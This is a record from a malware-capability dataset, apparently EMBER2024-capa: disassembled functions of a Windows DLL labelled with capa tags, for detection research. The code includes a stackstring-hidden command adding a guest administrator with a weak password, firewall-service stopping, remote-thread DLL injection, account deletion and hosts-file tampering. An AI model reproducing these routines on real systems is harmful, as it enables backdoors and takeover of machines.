joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10025c20
Capabilities:
Delete user account
Query or enumerate registry value

Disassembly:
sub esp, 0xb4
push ebx
push ebp
push esi
push edi
mov ebp, ecx
push 1
call fcn.10010bb0
mov ebx, eax
mov byte [esp + 0x13], 0
push ebx
call fcn.100245f0
add esp, 4
mov esi, eax
push esi
push 0
call sub.NETAPI32.dll_NetUserDel
push esi
mov edi, eax
call sub.MFC42.DLL_operatordelete
add esp, 4
test edi, edi
jne 0x10025c81
lea eax, [esp + 0x13]
push 1
push eax
mov ecx, ebp
mov byte [esp + 0x1b], 0xa0
call fcn.10010b00
mov ecx, ebp
call fcn.10025700
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xb4
ret
cmp edi, 0x8ad
je 0x10025d36
push ebx
lea ecx, [esp + 0x48]
push str.SAMSAMDomainsAccountUsersNames_s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0xc
xor esi, esi
lea edx, [esp + 0x14]
lea eax, [esp + 0x44]
push edx
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x10025cce
push 0x32
call edi
inc esi
cmp esi, 0x64
jg 0x10025d3d
jmp 0x10025ca9
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x1c]
push edx
push eax
push 0
push 0x1012b064
push ecx
mov dword [esp + 0x34], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x24]
push eax
push str._08X
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov ecx, ebp
push ebx
call fcn.10025950
test eax, eax
je 0x10025d36
lea edx, [esp + 0x24]
mov ecx, ebp
push edx
call fcn.10025730
test eax, eax
jne 0x10025d3d
mov ecx, ebp
call fcn.10025700
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xb4
ret

Function at 0x10025d50
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x40
push esi
push edi
push 0x14
call sub.MFC42.DLL_operatornew
mov esi, eax
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0xc]
add esp, 4
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, 0x14
call fcn.1002d130
add eax, 1
adc edx, 0
push edx
push eax
push 0x1011fe2c
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov eax, esi
pop edi
pop esi
add esp, 0x40
ret
Function at 0x10026980
Capabilities:
Acquire debug privileges
Query service status
Stop service

Disassembly:
sub esp, 0x1c
push esi
push edi
push 1
push str.SeDebugPrivilege
call fcn.1001b690
add esp, 8
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
push 0xf01ff
push str.sharedaccess
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
lea eax, [esp + 8]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [esp + 0xc], 1
je 0x100269d9
lea ecx, [esp + 8]
push ecx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
push 0
push str.SeDebugPrivilege
call fcn.1001b690
add esp, 8
mov eax, 1
pop edi
pop esi
add esp, 0x1c
ret
Function at 0x10026a30
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
sub esp, 0x60
push ebx
mov cl, 0x65
mov dl, 0x74
mov al, 0x20
mov bl, 0x73
mov byte [esp + 4], 0x6e
mov byte [esp + 5], cl
mov byte [esp + 6], dl
mov byte [esp + 7], al
mov byte [esp + 8], 0x75
mov byte [esp + 9], bl
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], 0x72
mov byte [esp + 0xc], al
mov byte [esp + 0xd], 0x67
mov byte [esp + 0xe], 0x75
mov byte [esp + 0xf], cl
mov byte [esp + 0x10], bl
mov byte [esp + 0x11], dl
mov byte [esp + 0x12], al
mov byte [esp + 0x13], 0x2f
mov byte [esp + 0x14], 0x61
mov byte [esp + 0x15], 0x63
mov byte [esp + 0x16], dl
mov byte [esp + 0x17], 0x69
mov byte [esp + 0x18], 0x76
mov byte [esp + 0x19], cl
mov byte [esp + 0x1a], 0x3a
mov byte [esp + 0x1b], 0x79
mov byte [esp + 0x1c], cl
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], al
mov byte [esp + 0x1f], 0x26
mov byte [esp + 0x20], 0x26
mov byte [esp + 0x21], al
mov byte [esp + 0x22], 0x6e
mov byte [esp + 0x23], cl
mov byte [esp + 0x24], dl
mov byte [esp + 0x25], al
mov byte [esp + 0x26], 0x75
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], cl
mov byte [esp + 0x29], 0x72
mov byte [esp + 0x2a], al
mov byte [esp + 0x2b], 0x67
mov byte [esp + 0x2c], 0x75
mov byte [esp + 0x2d], cl
mov byte [esp + 0x2e], bl
mov byte [esp + 0x2f], dl
mov byte [esp + 0x30], al
mov byte [esp + 0x31], 0x31
mov byte [esp + 0x32], 0x32
mov byte [esp + 0x33], 0x33
mov byte [esp + 0x34], 0x34
mov byte [esp + 0x35], 0x35
mov byte [esp + 0x36], 0x36
mov byte [esp + 0x37], al
mov byte [esp + 0x38], 0x26
mov byte [esp + 0x39], 0x26
mov byte [esp + 0x3a], al
mov byte [esp + 0x3b], 0x6e
mov byte [esp + 0x3c], cl
mov byte [esp + 0x3d], dl
mov byte [esp + 0x3e], al
mov byte [esp + 0x3f], 0x6c
mov byte [esp + 0x40], 0x6f
mov byte [esp + 0x41], 0x63
mov byte [esp + 0x42], 0x61
mov byte [esp + 0x43], 0x6c
mov byte [esp + 0x44], 0x67
mov byte [esp + 0x45], 0x72
mov byte [esp + 0x46], 0x6f
mov byte [esp + 0x47], 0x75
mov byte [esp + 0x48], 0x70
mov byte [esp + 0x49], al
mov byte [esp + 0x4a], 0x61
mov byte [esp + 0x4b], 0x64
mov byte [esp + 0x4c], 0x6d
mov byte [esp + 0x4d], 0x69
mov byte [esp + 0x4e], 0x6e
mov byte [esp + 0x4f], 0x69
mov byte [esp + 0x58], al
mov byte [esp + 0x5e], al
lea eax, [esp + 4]
push 0
push eax
mov byte [esp + 0x58], bl
mov byte [esp + 0x59], dl
mov byte [esp + 0x5a], 0x72
mov byte [esp + 0x5b], 0x61
mov byte [esp + 0x5c], dl
mov byte [esp + 0x5d], 0x6f
mov byte [esp + 0x5e], 0x72
mov byte [esp + 0x5f], bl
mov byte [esp + 0x61], 0x67
mov byte [esp + 0x62], 0x75
mov byte [esp + 0x63], cl
mov byte [esp + 0x64], bl
mov byte [esp + 0x65], dl
mov byte [esp + 0x67], 0x2f
mov byte [esp + 0x68], 0x61
mov byte [esp + 0x69], 0x64
mov byte [esp + 0x6a], 0x64
mov byte [esp + 0x6b], 0
call dword [sym.imp.KERNEL32.dll_WinExec]
pop ebx
add esp, 0x60
ret
Function at 0x10026c10
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x118
push ebx
mov ebx, dword [esp + 0x120]
push ebp
push esi
mov eax, dword [ebx]
mov ebp, dword [ebx + 4]
push edi
mov edi, ecx
lea ecx, [esp + 0x24]
push 0x104
push ecx
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [edi + 0x128]
lea eax, [esp + 0x24]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 3
push 0
push 2
lea ecx, [esp + 0x38]
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0x10]
push 0
mov esi, eax
push edx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [esp + 0x130]
lea eax, [esp + 0x20]
push 0
add ecx, 0xfffffff8
push eax
add ebx, 8
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push 9
add eax, ebp
push ecx
mov ecx, edi
mov byte [esp + 0x1c], 0x70
mov dword [esp + 0x1d], edx
mov dword [esp + 0x21], eax
call fcn.10010b00
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x118
ret 8

Function at 0x10026d20
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub esp, 0x20c
push ebx
lea eax, [esp + 8]
push str._termsrv_t.dll
mov dword [esp + 8], ecx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
lea ecx, [esp + 0x10c]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp + 8]
lea eax, [esp + 0x10c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x400
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0x10c]
mov ebx, eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x10026d98
lea edx, [esp + 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
jne 0x10026df0
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
lea eax, [esp + 0x10]
push edi
push eax
mov byte [ebx], 0xa4
call ebp
lea ecx, [eax + eax + 2]
lea esi, [esp + 0x14]
mov edx, ecx
lea edi, [ebx + 1]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call ebp
lea esi, [eax + eax + 3]
push 0x42
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ecx, dword [esp + 0x10]
mov edi, eax
push esi
push edi
call fcn.10010b00
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20c
ret
Function at 0x10026e00
Capabilities:
Get common file path

Disassembly:
sub esp, 0x110
push esi
xor eax, eax
mov esi, ecx
mov dword [esp + 4], eax
lea ecx, [esp + 0x10]
mov dword [esp + 8], eax
push 0x104
push ecx
mov byte [esp + 0x14], al
mov byte [esp + 0xc], 0x70
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esi + 0x128]
lea eax, [esp + 0x10]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 2
push 0
push 2
lea ecx, [esp + 0x24]
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0x10026e7c
mov dword [esi + 0x230], 0
mov dword [esi + 0x234], 0
pop esi
add esp, 0x110
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 4]
push 9
push edx
mov ecx, esi
call fcn.10010b00
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop esi
add esp, 0x110
ret

Function at 0x10026eb0
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
lea eax, [esp]
mov dword [esp], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 4], 5
jne 0x10026edd
mov ecx, dword [esp + 8]
mov eax, 1
cmp ecx, eax
je 0x10026edf
xor eax, eax
add esp, 0x9c
ret

Function at 0x10026f40
Capabilities:
Enumerate process modules

Disassembly:
sub esp, 0x224
push ebx
push ebp
push esi
push edi
xor ebp, ebp
mov ecx, 0x88
xor eax, eax
lea edi, [esp + 0x14]
mov dword [esp + 0x10], ebp
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x238]
push eax
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [esp + 0x10]
mov esi, eax
push ecx
push esi
mov dword [esp + 0x18], 0x224
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x10026fc3
mov edi, dword [esp + 0x23c]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea edx, [esp + 0x130]
push edi
push edx
call ebx
test eax, eax
je 0x10026fbf
lea eax, [esp + 0x10]
push eax
push esi
call sub.KERNEL32.dll_Module32Next
test eax, eax
je 0x10026fc3
lea ecx, [esp + 0x130]
push edi
push ecx
call ebx
test eax, eax
jne 0x10026fa1
mov ebp, dword [esp + 0x2c]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x224
ret
Function at 0x10026fe0
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
sub esp, 0x1c
push esi
mov esi, dword [esp + 0x28]
test esi, esi
push edi
jne 0x10026ff5
pop edi
xor al, al
pop esi
add esp, 0x1c
ret
mov eax, dword [esp + 0x28]
push eax
push 0
push 0x2a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x10027012
pop edi
xor al, al
pop esi
add esp, 0x1c
ret
mov cl, 0x65
mov al, 0x72
mov byte [esp + 0x15], cl
mov byte [esp + 0x18], cl
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], cl
lea ecx, [esp + 0x14]
mov dl, 0x6c
push ecx
mov byte [esp + 0x18], 0x6b
mov byte [esp + 0x1a], al
mov byte [esp + 0x1b], 0x6e
mov byte [esp + 0x1d], dl
mov byte [esp + 0x1e], 0x33
mov byte [esp + 0x1f], 0x32
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x21], 0x64
mov byte [esp + 0x22], dl
mov byte [esp + 0x23], dl
mov byte [esp + 0x24], 0
mov byte [esp + 0xc], 0x46
mov byte [esp + 0xd], al
mov byte [esp + 0x10], 0x4c
mov byte [esp + 0x11], 0x69
mov byte [esp + 0x12], 0x62
mov byte [esp + 0x13], al
mov byte [esp + 0x14], 0x61
mov byte [esp + 0x15], al
mov byte [esp + 0x16], 0x79
mov byte [esp + 0x17], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea edx, [esp + 8]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push esi
push eax
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
jne 0x100270c7
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor al, al
pop esi
add esp, 0x1c
ret
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push esi
call edi
pop edi
mov al, 1
pop esi
add esp, 0x1c
ret

Function at 0x100270f0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push esi
xor esi, esi
push edi
push esi
push 2
mov dword [esp + 0x10], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [esp + 8]
push eax
push edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1002715a
push ebx
mov ebx, dword [esp + 0x138]
mov ecx, dword [esp + 0x14]
push ebx
push ecx
call fcn.10026f40
add esp, 8
test eax, eax
je 0x1002714a
mov edx, dword [esp + 0x14]
push eax
push edx
call fcn.10026fe0
add esp, 8
and eax, 0xff
mov esi, eax
lea eax, [esp + 0xc]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10027123
pop ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
test esi, esi
setne al
pop esi
add esp, 0x128
ret
Function at 0x10027180
Capabilities:
Acquire debug privileges
Enumerate gui resources
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp]
push str._termsrv.dll
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 1
push str.SeDebugPrivilege
call fcn.1001b690
lea edx, [esp + 8]
push edx
call fcn.100270f0
add esp, 0xc
test al, al
je 0x1002724b
push ebx
push edi
push 0
push str.SeDebugPrivilege
call fcn.1001b690
push 1
push str.SeShutdownPrivilege
call fcn.1001b690
add esp, 0x10
push str.csrss.exe
call dword [sym.imp.KERNEL32.dll_GetProcessId]
mov ebx, dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownA]
push 0
mov edi, eax
call ebx
test eax, eax
jne 0x1002723a
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
mov esi, dword [sym.imp.USER32.dll_EnumWindows]
push str.drwtsn32.exe
call dword [sym.imp.KERNEL32.dll_GetProcessId]
test eax, eax
je 0x10027224
push eax
push 0x10026ef0
call esi
push edi
push 0x10026ef0
call esi
push 0xa
call ebp
push 0
call ebx
test eax, eax
je 0x1002720d
pop esi
pop ebp
push 0
push str.SeShutdownPrivilege
call fcn.1001b690
add esp, 8
pop edi
pop ebx
add esp, 0x104
ret

Function at 0x10027260
Capabilities:
Start service

Disassembly:
push edi
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x100272a5
mov eax, dword [esp + 8]
push ebx
push esi
push 0x10010
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x100272a0
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
call ebx
push edi
call ebx
pop esi
pop ebx
pop edi
ret
Function at 0x10029090
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, ecx
push 0
mov eax, dword [esi + 0x120]
mov dword [esi], 0x100b79dc
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [esi + 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, esi
call fcn.10010a10
pop esi
ret

Function at 0x10029150
Capabilities:
Acquire debug privileges
Enumerate threads
Resume thread

Disassembly:
sub esp, 0x1c
push ebx
push esi
push edi
push 1
push str.SeDebugPrivilege
call fcn.100290c0
mov eax, dword [esp + 0x34]
add esp, 8
mov dword [esp + 0xc], 0x1c
mov edi, dword [eax]
push 0
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [esp + 0xc]
mov esi, eax
push ecx
push esi
call sub.KERNEL32.dll_Thread32First
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x100291c4
cmp dword [esp + 0x18], edi
je 0x100291a6
lea edx, [esp + 0xc]
push edx
push esi
call sub.KERNEL32.dll_Thread32Next
jmp 0x10029193
mov eax, dword [esp + 0x14]
push eax
push 0
push 0x1f03ff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push edi
call ebx
push esi
call ebx
pop edi
pop esi
pop ebx
add esp, 0x1c
ret 8

Function at 0x100291d0
Capabilities:
Acquire debug privileges
Enumerate threads
Suspend thread

Disassembly:
sub esp, 0x20
push esi
push edi
push 1
push str.SeDebugPrivilege
call fcn.100290c0
mov eax, dword [esp + 0x34]
add esp, 8
mov dword [esp + 0xc], 0x1c
mov ecx, dword [eax]
push 0
push 4
mov dword [esp + 0x34], ecx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea edx, [esp + 0xc]
mov esi, eax
push edx
push esi
mov dword [esp + 0x10], esi
call sub.KERNEL32.dll_Thread32First
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x1002925f
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_OpenThread]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_SuspendThread]
mov eax, dword [esp + 0x34]
mov ecx, dword [esp + 0x20]
cmp ecx, eax
jne 0x1002924e
mov ecx, dword [esp + 0x1c]
push ecx
push 0
push 0x1f03ff
call ebx
mov esi, eax
push esi
call ebp
push esi
call edi
mov esi, dword [esp + 0x10]
lea edx, [esp + 0x14]
push edx
push esi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x10029228
pop ebp
pop ebx
push esi
call edi
pop edi
pop esi
add esp, 0x20
ret 8
Function at 0x10029540
Capabilities:
Get common file path
Get file size
Read file on windows
Set file attributes

Disassembly:
sub esp, 0x110
push ebp
push esi
mov dword [esp + 0xc], ecx
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x18]
push 0x104
push eax
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x18]
test eax, eax
mov edi, str._sysnativedriversetchosts
jne 0x100295a2
mov edi, str._system32driversetchosts
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x80
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x1c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0
push 4
push 0
push 1
lea ecx, [esp + 0x2c]
push bind
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10029663
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, eax
lea edx, [ebp + 2]
push edx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea eax, [esp + 0x14]
push 0
push eax
lea ecx, [esi + 1]
push ebp
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x10029640
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
add esp, 0x110
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
mov byte [esi], 0x96
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, dword [esp + 0x10]
push eax
push esi
call fcn.10010b00
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebp
add esp, 0x110
ret
Function at 0x10029670
Capabilities:
Get common file path
Set file attributes
Write file on windows

Disassembly:
sub esp, 0x10c
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x18]
mov dword [esp + 0x10], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x14]
test eax, eax
mov edi, str._sysnativedriversetchosts
jne 0x100296ce
mov edi, str._system32driversetchosts
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x80
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x18]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0
push 2
push 0
push 2
lea ecx, [esp + 0x28]
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1002974b
mov eax, dword [esp + 0x120]
mov ecx, dword [esp + 0x11c]
lea edx, [esp + 0x10]
push 0
push edx
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
test eax, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
add esp, 0x10c
ret 8

Function at 0x10029760
Capabilities:
Terminate process

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0x10]
push esi
push edi
mov edi, ecx
xor esi, esi
test ebx, ebx
mov dword [esp + 0xc], edi
jbe 0x100297a5
push ebp
mov ebp, dword [esp + 0x18]
mov eax, dword [esi + ebp]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, ebx
jb 0x10029779
mov edi, dword [esp + 0x10]
pop ebp
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, edi
call fcn.100293b0
mov ecx, edi
call fcn.1002aa80
pop edi
pop esi
pop ebx
pop ecx
ret 8
Function at 0x10029fb0
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x2c
xor eax, eax
lea ecx, [esp + 0xc]
mov dword [esp], eax
push ecx
mov dword [esp + 8], eax
mov byte [esp + 4], 3
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x30]
lea ecx, [esp]
push 0xc
push ecx
mov ecx, dword [esp + 0x3c]
mov dword [esp + 9], edx
mov dword [esp + 0xd], eax
call fcn.10010b00
add esp, 0x2c
ret

Function at 0x1002a180
Capabilities:
Get session information
Get session user name

Disassembly:
sub esp, 8
push ebx
push esi
lea ecx, [esp + 0xc]
push edi
lea edx, [esp + 0xc]
push ecx
push edx
xor eax, eax
push 5
push 0xffffffffffffffff
push eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x1002a216
mov edx, dword [esp + 0xc]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
mov ebx, dword [esp + 0x18]
push edx
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call sub.WTSAPI32.dll_WTSFreeMemory
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
jne 0x1002a20a
mov edi, 0x101201e4
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
add esp, 8
ret
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 8
ret
mov edi, 0x101201e4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
xor eax, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
add esp, 8
ret